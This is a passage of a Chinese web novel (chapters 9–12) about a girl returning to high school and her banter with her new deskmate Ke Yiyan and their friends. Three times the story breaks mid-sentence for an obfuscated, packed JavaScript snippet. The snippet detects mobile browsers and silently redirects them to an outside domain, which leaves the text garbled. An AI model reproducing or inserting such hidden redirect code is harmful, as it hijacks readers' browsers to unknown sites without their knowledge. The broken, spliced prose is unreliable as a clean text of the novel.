有次她嘴馋，让蔡从帮忙带一份网红甜品店的黑巧薄荷千层卷，结果这个菜狗脑干缺失，回回都能忘记。 后来蔡从被姜织宁骂得长了记性，终于去买了，却又因为在家里沉迷打游戏，一时忘记出门。 姜织宁气得午饭都没心情吃，直接打电话大骂蔡从，从他出门开始，一路骂到确认他坐上车，才冷哼挂掉电话。 她蹭蹭蹭下楼，赌气坐到住院楼下的长椅上，沉着脸，阴森森盯住路口，蹲点蔡狗。 大概是头痛加上气晕加上饿晕的三重攻击，导致姜织宁等的头昏眼花。 其实几米之外就是便利店，她早已闻到食物诱人的香味，但她全身上下憋着一股少女的倔犟劲，就是不愿去便利店，饿死也不去！ 姜织宁烦躁弯腰捂上胃，扶额斜眼时，忽然瞄见一个身型和蔡从差不多，也是身穿江中正装校服，手提着黑巧薄荷千层卷，在打电话的少年。 少年微低着头，脚步慢悠悠，逆光而来。 那一瞬间，姜织宁脸上浮现起对千层卷的惊喜，但更多的还是火气。 发现少年眼瞎无视她，打算从她身边路过后，姜织宁无力翻了个白眼，猛然起身，直接拿起盖在腿上的毛毯，用力朝倒霉蛋甩去。 与此同时，她上前抢过他手里的千层卷，怒气冲冲骂道：“眼睛不用可以捐掉，看不到我坐在这里吗！知不知道等你多久了，是想饿死我吗？！你这个歹毒的菜狗！！！” 倒霉蛋：“......” 嗯，柯译衍就是那个被骂成歹毒菜狗的倒霉蛋。 他好端端走在路上，专心打着电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879568|159743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话，谁知眼前突然一黑，一张毛毯迎面飞来，精准罩在他头上，不仅莫名其妙挨骂，蛋糕都被抢走了。 毛毯触感柔软，淡淡的水蜜桃甜香飘入鼻尖，不用看就知道是女生用品。 柯译衍一动不动站在原地，无比冷静的挂掉电话，抬手扯下毛毯，面无表情看向随手抛物的没素质路人。 姜织宁仰头，对视上柯译衍那双风雨欲来的漆黑眼眸，呼吸瞬间滞住。 这帅哥谁啊？ 她茫然眨了眨眼，数秒后，脑袋一歪，迷茫看向懒洋洋站在柯译衍身后不远处，困倦打哈欠的真菜狗。 呃......无法理解，这个姓蔡的死人，为什么会站在那边啊？？？ 原地去世算了...... 就是这么一段乌龙过往。 姜织宁刚才辨认出柯译衍后，其实想友善打招呼——是你啊同学，结果菜狗这个误称，在她脑海里实在印象太深刻了，导致她一开口，就不受自控嘴瓢。 后来她想想，对于柯译衍来说，这是段不愉快的过往，为了避免越解释越出错，姜织宁干脆随便找了个道歉理由。 警报解除，眼看是误会一场，俞杨立马扬起笑脸，打起圆场：“哈哈哈哈！原来是误会啊，那没事了，我就说嘛，我们家衍神怎么可能菜，哈哈哈！” 随后他热情自我介绍起来：“我叫俞杨，欢迎你来高二一班，以后大家就是同班同学了，平时有什么需要帮忙的，随时吩咐。” “好，谢谢你。”姜织宁礼貌微笑。 “其实......那个......我也是你粉丝。”俞杨不好意思挠了挠后脑勺，姿态有些扭捏地说，“从小看你的戏长大，就那部电影《记忆》，我都看过无数次了！” 他怕吓到姜织宁，又急忙补充说：“你放心，我绝对不是私生粉、脑残粉！” 听到这句话，柯译衍嗤笑掀起眼皮，懒散靠到椅背上，冷眼旁观俞杨宛如突发恶疾般的做作表现。 就很不理解。 不理解俞杨怎么有脸说出自己不是脑残粉的违心话，也不知道昨天是谁，拖拖拉拉不去打球，非要在人群里撅着屁股，看女神跳舞。 俞杨敏锐察觉到柯译衍瞥过来的嘲讽视线，愣了下，挺直腰杆，不自然地咳了声，指着柯译衍说：“这位大帅哥叫柯译衍，我俩从小一起长大，哦对了，在校期间你要是有什么困难，也可以和衍神说，千万别客气啊，彬彬已经把照看你的重任交给他了。” 柯译衍：“......” 服了，俞杨这个大嘴巴。 还千万别客气，说的倒轻松，干活的又不是他。 柯译衍无语偏头，冷眼看向走廊。 姜织宁听到这话有些惊讶，刘老师没和她说过这件事啊，还有，这位新班主任是不是过于紧张她了？ 她又不是什么易碎脆皮。 姜织宁真心觉得，按照姑姑烧香拜佛的超高频率，以及打算在寺庙附近买套房子住下，以求神明庇佑的离谱想法，她应该能平安无事到毕业吧...... 唉，这位新同桌会不会觉得她很麻烦啊？ 她还想友好共处呢。 她现在真没有那个脑子处理复杂的人际关系，况且，医生也叮嘱她要做到人淡如菊，尽量避免情绪波动，平时少操没用的心，说是为了身体健康。 这么想着，姜织宁忍不住开口：“那个——” 柯译衍回头，冷淡看着她。 “麻烦你了。”姜织宁一脸真诚地对他说。 柯译衍：“......” 她继续说：“但你别怕啊，我身体素质挺好的，精神状态也很稳定。” 柯译衍：“......” 不理解，他为什么要怕？ 姜织宁：“会定时复查，按时吃药，真的，你别担心。” 柯译衍：“......” 很困惑，他为什么要担心？ 姜织宁正想继续说下去，班门口传来一道找她的声音。 “哎同学，宁王在吗？我们家宁王在班里不？” 坐门口的同学帮忙喊了声：“姜织宁，有人找！” 姜织宁周围几人同时抬眼看向门口，是个男生。 男生是蔡从的小跟班，也是姜织宁休学前的同班同学，他手中拎着纸袋，在班门口探头探脑，发现姜织宁身影后，兴奋冲她挥手示意。 “妈！这儿呢！” 被称作妈妈的姜织宁在一片震惊目光中安静起身，从容淡定走向教室外。 俞杨转身，一脸懵逼地看着柯译衍，连声问：“我靠，几个意思？姜织宁还有儿子啊？居然长这么大了，那谁是儿子的爹？？？” “我会知道？”柯译衍收回视线，淡声反问。 俞杨：“牛逼！” 10. 第 10 章 因为私下经常一块儿玩，所以周静瑶也认识蔡从的小跟班，大大咧咧揽上姜织宁肩膀，一起跟着出去了。 三人站在走廊上说话。 周静瑶扫了眼袋子，问：“菜狗叫你来的？” 男生把装满巧克力的纸袋递给姜织宁，笑眯眯地说：“对啊，帮蔡总跑腿送巧克力。” “菜狗怎么不自己过来？”周静瑶翻白眼吐槽，“这么懒的吗，走几步路要他老命啊？” “嗨，蔡总昨天打游戏打到很晚，今天一整天都在补觉呢！”男生解释完，对姜织宁说，“这个巧克力是蔡总爸爸从国外带回来的，蔡总给你装了两大包，一包是你喜欢的口味，另一包让你拿去分给新同学。” 姜织宁微微扬眉，对菜狗此举有些意外。 “喔唷，那我们蔡总这次确实有心了～”周静瑶难得尊称蔡从一回，嬉皮笑脸说，“居然特意帮宁王打点新同学关系。” 周静瑶作势老母亲擦泪状，“呜呜呜，我们家蔡蔡终于懂事了，不容易啊不容易！” 姜织宁被她逗笑，轻拍她肩膀一下，让人收敛点。 事情顺利办完，离开之前，男生提醒说：“哦对了宁王，晚上别忘了和我们一起吃饭啊，特意给你准备了接风宴。” “知道了。”姜织宁点点头。 男生快步离开，姜织宁刚要回教室，再度被人叫住，这回找她的是隔壁高二三班的女生，现任校街舞社社长余诗。 “真忙哎。”周静瑶同情看着姜织宁，“我先进去了啊。” 姜织宁笑了笑，随手把巧克力交给周静瑶，让她帮忙分给同学。 周静瑶回到座位，并没有像分喜糖一样，高调的全班人人有份，毕竟是分科重组后的新班级，而且刚开学没多久，同学之间都还没熟悉到那个份上。 所以周静瑶只是拎着巧克力袋子，在姜织宁的前后左右桌附近走了一圈，让他们随意挑选。 尽管如此，仍然引来了俞杨的八卦打听。 俞杨先是高举起黑金色的昂贵巧克力，十分严谨地上下左右研究数秒。 他发现外包装上，并没有印着“喜”这个刺眼且离谱的字眼，这才心里舒服，满意松了口气。 俞杨一边拨开外面那层锡纸，一边看向正往姜织宁课桌里塞巧克力的周静瑶，状似无意，实则八卦欲满满，打听问：“周导啊，这算什么？来自爸爸妈妈的喜糖？” “什么爸爸妈妈？什么喜糖？” 周静瑶愣了下，脸上露出一副“你在说什么鬼东西？”的迷茫表情。 俞杨嚼着巧克力，朝班门口努努嘴：“就刚才来找宁王的男生啊，他不是对宁王喊了一声妈，既然有妈妈，那肯定有爸爸啊，所以谁是儿子爹？如果是不优秀的菜逼，我第一个坚决不同意这门婚事！” “还能是谁，”周静瑶下意识回了句，“菜狗呗。” 俞杨：“啊？你骂我菜狗？？？” 周静瑶：“不是......这别人外号。” 俞杨：“谁外号这么拉风啊？？？” 话音落下那一瞬，周静瑶反应过来自己说多了，撇嘴啧了声，科普道：“啊什么啊，这就是开玩笑的昵称，和你在游戏里自称爷爷，跪喊高手爸爸，平时叫女生妹妹一个道理呗。” 这么解释的话，俞杨懂了，他放心笑起来：“原来如此，吓我一跳，谢了啊，巧克力真好吃。” “谢我干嘛，又不是我的巧克力，去谢宁王啊。”周静瑶嘟囔一句，坐回自己位子。 “周导，你刚才说，你新剪了个公主切短发，”俞杨视线跟着她移动，闲聊起之前的话题，一脸天真问，“为什么叫公主切啊？公主不是应该捧在手心里吗，依我看，应该改名叫公主捧！” 这是哪里来的，没见过世面的小垃圾？？？ 周静瑶沉默好一会儿，转过身，面无表情盯着俞杨，好心提醒：“俞杨啊，你要是不想挨周导揍呢，就乖乖把嘴巴闭上。” 俞杨：“......” * 余诗马不停蹄跑来找姜织宁，除了朋友间的久别问候之外，主要是想邀请姜织宁重新加入街舞社，继续担任副社长一职。 姜织宁之前就是街舞社的副社长，如果没有休学的话，那她身为准高三生，是要退出所有社团的，这是学校的规定，但她现在是高二生，就没这个规矩了。 余诗说：“过几天，高一新生就要军训结束了嘛，按照惯例，最后一天的军训汇演我们街舞社要过去表演，我想了想啊，还是表演《Monster》好了，就编舞师那个版本，绝对炸场！” “啊，走位靠飞的那支大框架舞。”姜织宁笑着说，她对这支技巧难度高，观赏性极高的团舞印象很深刻。 “对对对。”余诗也笑，“这支舞还是和学姐搭档最默契了，要是你来的话，我们也不用重新排，原班人马合几次就行。” 江中不仅学习卷，各个社团之间也很卷，每次举办活动表演，绝对不屑拿一般水平敷衍上台，全都喜欢上强度。 比如江中特别出名的街舞社，所有成员在短时间之内，快速翻跳出原版男团、女团舞是最基本的，她们还会去抠难度更高的编舞师版本，甚至加点自行编舞。 街舞社每回对外发出来的成品舞视频漂亮又整齐，那动作就和复制粘贴一样，舞蹈质量特别高。 姜织宁听余诗说完话，并没有立刻答应，主要是对副社一职有些犹豫，怕自己精力不够用。 沉思片刻后，她对余诗说：“我考虑下吧。” 分开时，余诗表情恋恋不舍，就怕姜织宁不回归舞社，反复对她念叨着：“宁王，一定要来啊！风里雨里等你啊！！！” …… 姜织宁回到座位，一眼瞄见同桌的桌角上放了颗显眼的绿色巧克力，摆放位置过于偏僻，一看就是被冷落，不被接受的状态。 周静瑶分巧克力的时候，柯译衍说不吃，结果周静瑶也是个耿直的人，不容他拒绝，直接拿了一个放他桌角。 吃不吃是他的事，她得分。 姜织宁看着巧克力，轻轻“嗯？”了声，望向柯译衍，直白询问：“你怎么不吃？” 柯译衍沉默了下，淡声回：“不想吃。” “就是，你怎么不吃啊？”下一秒，俞杨转过来，责怪瞪着柯译衍，不要脸地顺走那颗巧克力，“不要给我。” 柯译衍无语看着他，眼睛里写满了“怎么哪哪都有你？”的不耐烦。 姜织宁觉得这个牌子的巧克力还挺好吃的，手伸到抽屉里，去拿另外一袋黑巧。 途中，指尖碰到保温杯，她想起来中药还没喝，便把保温杯也拿出来。 保温杯放到桌上，姜织宁拆开包装袋上的蝴蝶结丝带，打开袋口朝向柯译衍，说：“是不喜欢甜的吗？那要不要试试黑巧？” 周围熟悉姜织宁的朋友都知道，她长了颗巧克力脑袋，尤其钟情一般人难以接受的苦味黑巧。 她刚才往袋子里瞄了几眼，心里很满意，因为发现蔡从很懂事，给她单独装的这包全是黑巧，另一袋分给同学的则是各种口味的甜口巧克力。 面对姜织宁的好意分享，柯译衍本想直接拒绝，但又怕姜织宁契而不舍追问他为什么。 犹豫数秒后，他无声叹了口气，伸手拿了颗黑巧意思下。 他确实不爱吃甜口，黑巧倒是能接受，之前网球训练比赛时，黑巧经常作为能量补充，随身携带。 整个过程，俞杨一直目光狐疑地观察着柯译衍。 俞杨不解皱眉，眉头舒展，再次皱眉，不理解这位行事作风一向干脆利落的酷哥，突然迟疑个什么劲？ 要搁以前，拒绝就拒绝，接受就接受，很果断的。 怎么说呢，他总觉得柯译衍的态度有丝丝奇怪，但又辨不出哪里奇怪。 注意力很快被转移，俞杨看柯译衍拿了块黑巧，便也跟风拿了块尝尝。 见状，姜织宁干脆前后桌全都分了一遍，同时好心提醒：“可能有点苦啊。” 和柯译衍不一样，俞杨完全品不来黑巧，觉得这玩意儿太他妈苦了！ 甭管哪国产的，甭管价格多贵，对他而言，那都是难吃的苦味和酸味，所以每次训练比赛他都是带能量棒，或者香蕉。 俞杨小心翼翼咬了一小口，下一秒，痛苦脸皱眉：“靠啊......这味道，还真是一如既往地难以接受！” 其他几人第一次吃高纯度黑巧，也是一脸痛苦，集体呕吐状。 “呕，这他妈是巧克力吗！呸呸呸，怎么是苦的！” “妈呀好苦啊，比中药还苦啊啊啊！” “我去，我怎么吃出一股酸涩味，呕......” “呕，宁王啊，我承认我是野猪，品不了细糠......” “宁王救命哎，苦的！朝廷下发的军粮变质了！！！” 宁王正在和中药做心理斗争，没空管周围人死活，冷酷无情回了句：“都说了有点苦。” “啊？这是有点吗？？？” “好好好，原来是我的错......” 众人昏倒。 俞杨吃得很痛苦，但又不忍心吐掉，斜眼看向面不改色，神情淡定的柯译衍，打心眼里佩服道：“一个宁王，一个衍神，都喜欢吃苦兮兮的黑巧，你俩果然不是正常人！” 姜织宁推开窗户，为喝中药做准备，闻言，有些意外地望向柯译衍：“你也喜欢黑巧啊？” 还挺惊讶的，她周围朋友都不爱吃这玩意儿，就连常年泡健身房的姑姑也是嗤之以鼻，嫌弃说狗都不吃。 柯译衍瞥她一眼，不冷不热说：“还行。” 之所以要开窗，是因为姜织宁觉得中药的气味真心很像化学武器，她每次一闻到中药，就会反胃想吐。 窗打开，做好心理准备，姜织宁面无表情拧开保温杯盖子，熟练捏住鼻尖，屏住呼吸，然后一鼓作气，咕咚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879569|159743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咕咚往嘴里灌。 这是她多次实践后，得出的喝药经验。 之前总是一小口一小口的慢慢来，发现不行，越喝越生无可恋，后面听了姑姑劝告，干脆早死早超生，一口气喝完。 柯译衍旁观姜织宁这幅苦大仇深的喝药姿势，被她逗到，微不可查地弯唇笑了下。 粘稠巨苦的中药终于喝完，姜织宁表情嫌弃拧上盖子，快速将保温杯丢进书包里，碰都不想碰一下。 她扭头看柯译衍，想接上他刚才那句还行的话，回一声好巧，毕竟碰上志同道合的食友挺不容易。 可刚开口，她就被口腔里的浓厚中药味刺激到反胃。 “呕——” 当着他的面，姜织宁蹙眉干呕。 柯译衍：“......” “那个，衍神啊......”见状，俞杨唇角止不住地抽搐，想笑又不敢笑，于是嘴贱问柯译衍，“宁王是不是在向你表达——你让我感到恶心？” “......”柯译衍冷声反问，“有没有胶带？” “没有，要干嘛？” “把你嘴巴封上。” “嘤，你怎么能这么对我！！！” “为什么不能？”柯译衍面无表情，毫不客气回敬，“你让我感到恶心啊。” 俞杨：“......” 回旋镖这么快就扎到自己身上，靠！ 另一边，姜织宁把书包翻了个底朝天，都没发现装糖的小包。 看来是忘带了，她有点低血糖，所以糖、黑巧会专门放在小包里，随身携带。 中药特别苦，导致平时最爱的苦味黑巧在这种时候毫无用武之地，姜织宁叹了口气，弯腰把书包挂回原位，心里寻思着，要不要现在去趟小卖部，买点糖或者话梅之类的蜜饯，压一压犯恶心的中药味。 可是，顶楼爬上爬下的又很烦...... 纠结时，姜织宁无意间往同桌抽屉里瞄了眼，然后一眼定住。 定睛看了看，生无可恋的眼睛立马焕发光彩，她试探开口：“那个——” 柯译衍目光挪过来。 “那是什么啊？”姜织宁指了下他的课桌抽屉。 柯译衍后靠到椅背上，微微歪头，往抽屉里面看。 姜织宁不好意思亲自上手拿，便提醒说：“就角落那个东西，黄绿色包装的。” 抽屉全是书和试卷，高高低低，堆放的并不整齐，柯译衍目光缓慢耐心地转了一圈，最终落在两本不显眼的书中间。 手伸进去，抽出姜织宁所说的黄绿色包装，是一根细长的酸条软糖。 柯译衍不确定地问：“这个？” “对对对！”姜织宁双眼放光，惊喜点头。 果然是她喜欢的酸糖！ 之前她在小表弟家吃过一次，惊为天人，直接整盒顺走。 姜织宁是真的很高兴，此刻眼眸随着唇角一起，毫无保留地愉悦笑弯着，不再是大部分时间里，只有唇角微扬的疏远客气态度。 柯译衍平静看着她，没由来地想起昨天。 昨天他在店里帮姜织宁修改Diy画面，那会儿她的模样就和现在一样，整个人散发着耀眼光彩，对他笑得毫无保留。 姜织宁是性格慢热的人，前后反差挺大的，平常脸上不笑时，会显得她很有距离感，给人感觉不好相处，所以眼下这幅鲜妍明媚的模样，在关系不熟的外人看来，确实挺罕见。 柯译衍收回思绪，淡问：“想吃？” 姜织宁笑眯眯点头：“中药太苦，我忘记带糖了，拿巧克力和你换行吗？” 她作势要拿那袋黑巧。 “不用。” “啪！”一声，柯译衍直接把酸糖扔到姜织宁桌上。 这东西是俞杨给他的，酸甜口的长条软糖，小朋友最爱，要不是姜织宁眼尖发现，他都忘了抽屉里还有这种东西。 “不过，”柯译衍略困惑地看着姜织宁，问她，“你怎么发现的？” 挺好奇，也挺佩服她的眼力。 且不说抽屉视野相当暗沉，关键是，酸糖隐秘藏在角落里，夹在两本书中间，包装只外露出一点点，她是怎么发现的？ 这眼尖的，她绝对是大家来找茬游戏第一名。 姜织宁拆开包装，咬了口软糖，嗓音含糊地说：“因为它是沙漠中的绿洲，濒临死亡的旅人当然能一眼发现。” “厉害。”柯译衍挑了挑眉，平淡点头，然后以防万一地说，“你看下保质期。” “嗯？”姜织宁停下咀嚼动作。 “不知道放了多久。”柯译衍轻咳一声，淡定说，“应该......没过期。” 应该？ 姜织宁：“......” 不可思议……他怎么不早说？她都吃了啊！ 确定是来照看她的吗？？？ 要是因为这个，害她住进讨人厌的医院，绝对把他一起带走啊！ 11. 第 11 章 下午放学铃响起，周静瑶拿上校园卡和手机，第一时间蹦到姜织宁座位旁边。 “走啊宁王，吃晚饭去！” 周静瑶低头打开手机，瞄了眼名为“疯人联盟”的微信群消息，扭头对姜织宁说：“走走走，蔡总他们已经在饭店了！” 在时间作息上，高三生拥有一切优先权，会比高一高二生先放学，优先享用食堂饭菜。 蔡从他们比姜织宁放学早，直接去定好的饭店等，位置不远，就在学校后门对面。 傍晚时分，广播站准时放起流行歌曲，落日熔金，夕阳彩霞温柔照拂着江中里的每一片角落，建筑楼群染上蜜糖色，特别有氛围感。 校园里人流涌动，学生们三三两两并肩而行，说笑着飞奔向不同地点觅食。 江中食堂餐品丰富，味道也不错，是大部分学生的首选，除此之外，校门口附近大大小小的餐饮店同样人气火爆。 周静瑶一路在疯人联盟群里报行程，所以和姜织宁一起赶到饭店的时候，正好菜全上齐，直接开吃就行，不用再坐着干等。 来吃接风宴的几人，全是姜织宁休学之前和她私下关系不错的同学，其中一位高马尾女生看到姜织宁进门后，立马抬起手，高喊：“宁王，这里！” 蔡从听到声音，暂停手机游戏，懒洋洋抬眸看向姜织宁。 姜织宁打量几眼蔡从的脸，坐到他身旁空位，问道：“黑眼圈怎么回事？我觉得你需要眼霜。” 蔡从皱眉：“什么东西？” “无知，一种抹在眼睛上的保养品。”姜织宁解释完，惋惜瞄他一眼，感叹道，“小小年纪就要用这个，啧啧啧，你没救了。” 蔡从再次皱眉，满脸“你在说什么鬼话，我怎么可能用那种玩意儿？”的无语表情。 姜织宁也蹙眉，摆出一副“蔡蔡啊，你再这样堕落下去，妈妈真的很担心你找不到女朋友！”的担忧表情。 蔡从：“......” 周静瑶跟着瞧了眼，惊呼：“哎哟，你这黑眼圈看着是挺严重！昨晚打游戏打到几点啊蔡总？” 坐蔡从边上的男生回忆了下战绩，笑着替他说：“也就凌晨两点吧。” “这么牛？” “牛什么啊，蔡总白天都在补觉，作业都没时间做。” 高马尾女生笑眯眯补充：“班主任看他一直在睡觉，就担心怎么了，问蔡总要不要去校医院看看，还叫他晚上回家不要学习到太晚，说是可以卷，但要适当的卷，蔡总居然不要脸点头，一脸淡定回班主任好的。” “哎，我就寻思不对劲了，就蔡总天天沉醉打游戏那个劲，成绩排名在我们班也不靠前，请问，他和卷这个字有什么关系啊？？？” 话音落下，几人疯狂拍桌大笑。 “怎么没关系？”蔡从哼笑，懒散揉着酸痛的脖子，没脸没皮地说，“我是反内卷代表啊。” “你神经病吧！”周静瑶笑得拍桌，“哈哈哈哈还反内卷代表，笑死我了，牛的牛的，不愧是蔡总！” 女生：“哈哈哈哈哈，咱们蔡总不愧是个乐子人！” 姜织宁脑子里想象了一下蔡从不要脸的熟悉画面，也觉得很搞笑，弯唇笑出声。 她一边笑，一边拿起筷子，正要往眼前的砂锅伸去，结果一眼和锅里的恐怖死鱼眼对视上。 笑容瞬间僵硬在唇边。 筷子停滞在砂锅上方，死鱼眼就这么诡异地斜眼凝视着她。 四目相对，姜织宁沉默几秒后，面无表情看向蔡从，发出灵魂拷问：“这什么菜？” 蔡从瞄了眼，回她：“天麻炖大鱼头，补脑。” “那个呢？”她筷子指向另一盘菜。 “凉拌黑豆核桃仁，补脑。” “瓶子里的是什么？” “黑豆花生豆浆，补脑。” “最边上那盘白色的是什么？” “千年老参炖猪脑，补脑。” “......” 千年老参都来了……这是要成精啊？ “有什么问题？” 敏锐察觉到气氛不对劲，似乎还有种要挨骂的熟悉感觉，蔡从扭头看向姜织宁，神情不解问。 姜织宁不知道怎么说。 就很茫然无助，还想骂人。 因为，这完全不是她想象中红红火火的接风宴啊！ 这段时间，家人天天给她做天麻炖鱼头、黑豆花生核桃之类的淡口补脑菜，她都快要吃出PTSD了。 哪怕是天底下再好吃的食物，一直吃一直吃，那也会很快厌烦的，就比如现在，她完全不想看到这些没味道的补脑菜。 看在巧克力的份上，姜织宁努力忍住那股骂人冲动，平静反问：“我们聚餐什么时候变得这么养生了？” “为了你啊。”蔡从一副理所当然的表情，说，“你不是要吃这些吗？” “谁说的？” “姜阿姨。” 哦，是她姑姑姜颖。 姜织宁：“......” 无话可说。 骂都骂不起来。 很努力的憋了憋，破天荒的，姜织宁这次没有指责蔡从狗里狗气的行为，皮笑肉不笑地对他说：“点的很好，下次别这么点了。” 身为相对清闲的高二生，姜织宁自然成了其他几位准高三牲的羡慕对象，吃饭期间，高三牲们时不时就冲她抛来一句—— 真羡慕你啊！ 没过多久，饭店门再次被人推开。 四名高大少年紧随前后走进来，说笑着走向空位。 这家饭店已经在江中后门开了十多年，老板是夫妻俩，最初因为要陪女儿上高中，所以顺带开了家小餐馆，后来由于味道好，价格也不算贵，生意越来越红火，夫妻俩便翻修扩店，一直营业到现在。 俞杨刚坐下来，就开始猴急地敲桌子，催促道：“手机有电没啊？快让我看看纳神！” 坐俞杨对面位子的男生老神在在地说：“莫急，先让我开个机。” 男生叫吴瑞奇，高二生，江中校网球队成员，在刚过去的暑假里，他跟随着省里的网球队，一起飞到西班牙网球学院集训。 训练期间，幸运碰上网坛三巨头之一纳达尔突然来训练基地，吴瑞奇得知消息后，刚打好的午饭随意丢到餐桌上，立马疯跑出去，求偶像签名合影。 手机缓慢开机，吴瑞奇打开相册，找到合影，递给俞杨看。 俞杨虔诚捧着手机，顶礼膜拜的目光一眨不眨地盯着偶像纳神，即使和偶像隔着一层屏幕，依然让他激动不已，反复惊呼。 “我的天，纳神也太帅太帅太帅太帅了吧！！！” “这气质，不愧是传奇红土之王！！！” “不是，我咋没那运气啊！我在国外集训的时候，一次都没碰上他......” “哎下个月，纳神是不是要来我们这边参加大师赛？新闻出了吗？” 吴瑞奇和偶像合影的那天晚上，直接激动失眠到天亮，情绪最兴奋的时期已经过去，这会儿自然不会像俞杨这样一惊一乍。 他随口应了俞杨几句，便和柯译衍聊起球技问题。 “感觉我红土场不太行，打球时膝盖是很舒服，但总控制不好移动。” 柯译衍：“滑步技巧很重要。” 吴瑞奇叹了口气，表情懊恼：“我滑步是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879570|159743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的不行，那脚就跟不受控制一样，总是追不上球，还老用力过猛摔跤......气得我特想摔拍，顺便把脚也锯了！都给我整上心理阴影了！” 柯译衍唇角微扬，浅笑道：“多练吧。” 吴瑞奇：“对，教练也让我多练，越恐惧越要练，否则没救。” 网球赛事主要以红土、草地、硬地球场为主，其中的红土网球场由于地面性质特殊，是比较折磨球员的，像四大满贯中的法网就是红土球场。 吴瑞奇接着说：“哦对了，我们这次集训时，有幸碰到WTA排名前五的美国选手过来训练。我观摩了一场，靠啊，她发球是真的威猛，简直就是重炮！那力度和时速，绝对有200km/小时，感觉飞过来的球能把我当场锤成智障！” 俞杨插话：“我们衍神的发球也很牛啊，过去比赛ACE球很多的！他还老会放小球了，特别有观赏性，那球商，实属top级别！” “还用你说，我会不知道吗？”吴瑞奇笑眯眯的，拿胳膊肘碰了碰柯译衍，语气讨好邀请，“衍神，晚上训练场走起啊？” 江中有自己的网球场，就在艺体楼边上，体育生日常训练大多数时候都放在校内球场，十分方便。 柯译衍没兴趣，懒散拒绝：“不去。” “你要干嘛？” 他平淡说：“上晚自习啊，作业很多。” 酷哥一副好好学习的优等生姿态。 吴瑞奇露出无语表情，柯译衍瞥他一眼，淡然问：“干什么，好好学习有问题？” “没问题，你京大华大！你高考状元！”俞杨阴阳怪气呛了句，然后把手机还给吴瑞奇，幸灾乐祸地对他说，“呵呵，你能叫得动他算我输。” 吴瑞奇不服气：“说的好像你能一样。” “那我肯定能啊！”俞杨一脸自信。 俞杨心想，开什么玩笑，当初可是他亲自上阵撒泼打滚，嘴皮子说破，加起来的唾沫能淹死人，费了老大力气，才把柯译衍这尊金身大佛请进学校网球社。 柯译衍刚转来江中的那段时间，什么社团都没参加，竞赛活动也全都不去，整个人像是闲云野鹤一样，校网球社给他发了好几次入社邀请，柯译衍全拒了。 俞杨很想拉柯译衍进校网球社，一方面可以让柯译衍保持住球感，万一这哥哪天突然改变想法，又决定走职业网球运动员这条路了呢？ 另一方面，柯译衍的网球水平秒杀江中校网球队所有成员，大家都争着邀请他做训练搭档。 一番深思熟虑后，俞杨很聪明的把话题往自己身上引。 他一会儿叫柯译衍过来帮他看看动作，一会儿又说自己缺陪练，总之隔三岔五，就把柯译衍拖去网球场打球。 他还指着篮球场上，那群挥洒汗水的男生们举例。 说这人是杀进国集的物竞大佬，那人搞数竞，也是已经拿到保送名额的学神，球场上的大部分人，只是空余时间里过来打打球放松，偶尔比个友谊赛，不是以后要去做职业篮球运动员。 俞杨摆出云淡风轻的态度，叫柯译衍放轻松。 说让他加入网球社不是因为别的，只是想让他空闲时过来打打球放松而已，总不能一天到晚光对着书本试卷吧？ 整天对着书本像什么话，要做书呆子么？ 就一普普通通课外活动，没别的意思，别想太多。 大概是俞杨婆婆妈妈，唠叨的次数实在太多，柯译衍被烦的不行，不想再被俞杨天天念经式骚扰，最后，他面无表情填了那张入社申请表。 但也仅限于加入，至于什么时候来打球，每次打多久，全凭柯译衍心情。 很有挂名那意思。 12. 第 12 章 服务员端上来一盘色泽漂亮的拔丝蜜薯，俞杨特意点的，为了压一压黑巧带给他的味蕾阴影。 俞杨夹了块裹糖最多的蜜薯放到嘴里，口齿不清地对柯译衍说：“今晚估计要练双打，来不？咱两组一队，干死严热他们！” 柯译衍低头回复手机信息，没表态。 没有一口拒绝，很好，说明这事有余地，俞杨脸上露出迷之自信微笑，得意洋洋瞥吴瑞奇一眼。 “凭什么衍神和你组一队啊？”吴瑞奇一听这话，又不服气了，插嘴说，“公平抽签好吧！” “他就和我一队，想咋滴？” “臭不要脸，滚！” “我不滚，你滚。” “叫我滚，你算哪根葱？！” “神经，我都不吃葱好吗。” 两人幼稚互瞪起来。 这时，耳边传来一阵放声大笑，笑声格外熟悉，特别像周导的豪放风格。 俞杨愣了愣，下意识拨开脑袋旁的茂密绿箩，探头朝声源方向看去。 呃，果然是周静瑶。 既然周静瑶在的话，那他女神是不是也在啊？ 俞杨马上把阻碍视线的绿箩往旁边挪了挪。 吵架的人突然不吵了，搁那边做贼一样探头探脑，不知道在干嘛，吴瑞奇纳闷看着俞杨，拿筷子敲了敲碗边缘。 “干嘛呢你？” “这天还没黑，就迫不及待做贼啊？” 